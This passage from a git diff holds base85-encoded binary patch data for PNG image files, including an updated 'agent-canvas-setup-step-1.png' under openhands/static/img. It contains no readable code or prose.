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 LHH@Dyf8Borcrtaj literal 0 HcmV?d00001 diff --git a/openhands/static/img/agent-canvas-setup-step-1.png b/openhands/static/img/agent-canvas-setup-step-1.png index 6de5c8a93a234411b2b768f1884406330e2bbecd..75a38839fd4e32ee7fd46559a3f34caa327da3fc 100644 GIT binary patch literal 65256 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 